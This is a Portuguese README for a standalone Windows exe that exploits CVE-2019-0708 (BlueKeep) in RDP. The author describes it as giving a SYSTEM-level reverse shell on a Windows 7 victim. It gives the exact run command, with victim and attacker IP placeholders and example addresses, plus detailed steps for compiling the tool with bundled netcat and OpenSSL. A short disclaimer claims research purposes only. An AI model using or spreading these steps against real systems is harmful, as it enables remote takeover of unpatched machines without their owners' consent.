CVE-2019-0708-EXP-Windows-Version
Declaração
O poc do autor é apenas para fins de pesquisa. Se o leitor utilizar este poc para outras atividades, não tem relação comigo.
Índice
[toc]
Introdução
A versão CVE-2019-0708-EXP-Windows executa como um único arquivo exe, sem necessidade de linux, python, ruby, etc. Após a execução, estabelece diretamente um Shell reverso com privilégios de System no console atual.
A compilação usa o modo de biblioteca totalmente estática, embutindo todos os dlls, integra netcat e openssl, suporta exibição de barra de progresso e operações de echo do shell.
Ambiente de Reprodução
- Sistema operacional da vítima (Victim): Windows 7 sp1 x64
- Sistema operacional do atacante (Attacker): Windows 10 x64
- Ambiente de compilação: Visual Studio 2013
Instruções de uso
- Entre no diretório CVE-2019-0708-EXP-Release
- Execute wfreerdp.exe /v:Victim_IP /l:Attacker_IP, por exemplo, wfreerdp.exe /v:10.120.1.160 /l:10.120.1.17
Tutorial de instalação
- Copie o projeto FreeRDP-master para E:\git\KernelResearch\FreeRDP-master\
- Instale o ambiente de compilação do Openssl, ou extraia diretamente o openssl.7z para C:\openssl\ para usar o ambiente Openssl já compilado.
- Instale o ambiente de compilação do Nasm
- Instale o cmake-3.15.3-win64-x64.msi como administrador
- Adicione C:\Program Files\CMake\bin à variável de ambiente path
- Reinicie o computador
- Execute "C:\Program Files\CMake\bin\cmake.exe" E:\git\KernelResearch\FreeRDP-master\CMakeCache.txt
- Compile o projeto. Se ainda houver arquivos faltando, você pode restaurá-los a partir de FreeRDP-master-restore.7z
Tutorial de instalação do ambiente de compilação do Openssl
- Extraia openssl-1.0.2s.tar.gz para C:\openssl\
- Instale ActivePerl-5.28.1.0000-MSWin32-x64-fde9aa8a.msi
- Adicione C:\Perl64\bin à variável de ambiente path
- Abra o Prompt de Comando de Ferramentas Nativas VS2013 x64, que pode ser encontrado no menu Iniciar
- Execute perl Configure VC-WIN64A
- Execute cd /d C:\openssl\
- Execute ms\do_win64a
- Em seguida, comece a compilar. Você pode usar os seguintes modos. O exp usa o modo de biblioteca estática:
Compile a biblioteca dinâmica do OpenSSL: nmake -f ms\ntdll.mak
Compile a biblioteca estática do OpenSSL: nmake -f ms\nt.mak
Teste a biblioteca dinâmica do OpenSSL: nmake -f ms\ntdll.mak test
Teste a biblioteca estática do OpenSSL: nmake -f ms\nt.mak test
Instale a biblioteca dinâmica do OpenSSL: nmake -f ms\ntdll.mak install
Instale a biblioteca estática do OpenSSL: nmake -f ms\nt.mak install
Limpe a compilação anterior da biblioteca dinâmica do OpenSSL, para recompilar: nmake -f ms\ntdll.mak clean
Limpe a compilação anterior da biblioteca estática do OpenSSL, para recompilar: nmake -f ms\nt.mak clean
- Após a conclusão, vá até out32, encontre os arquivos libeay32.lib e ssleay32.lib e copie-os para C:\openssl\lib\
Tutorial de instalação do ambiente de compilação Nasm
- Instale o nasm-2.14.02-installer-x64.exe como administrador
- Adicione C:\Program Files\NASM à variável de ambiente path
- Extraia os 3 arquivos do nasmBuildCustomizations.rar para C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V120\BuildCustomizations\
- Selecione o diretório do projeto client->common->freerdp-client, clique com o botão direito -> "Dependências de Build" -> "Personalizações de Build" e marque o item nasm (observe que não é masm)
- Se, no projeto freerdp-client, você selecionar qualquer arquivo asm e o menu de contexto exibir uma opção de compilação, isso significa que o ambiente de compilação Nasm foi instalado com sucesso.
Resultado da execução

Hospedagem do projeto
Meu endereço do poc
Contribuições
O autor é de ZheJiang Guoli Security Technology, e-mail: [email protected].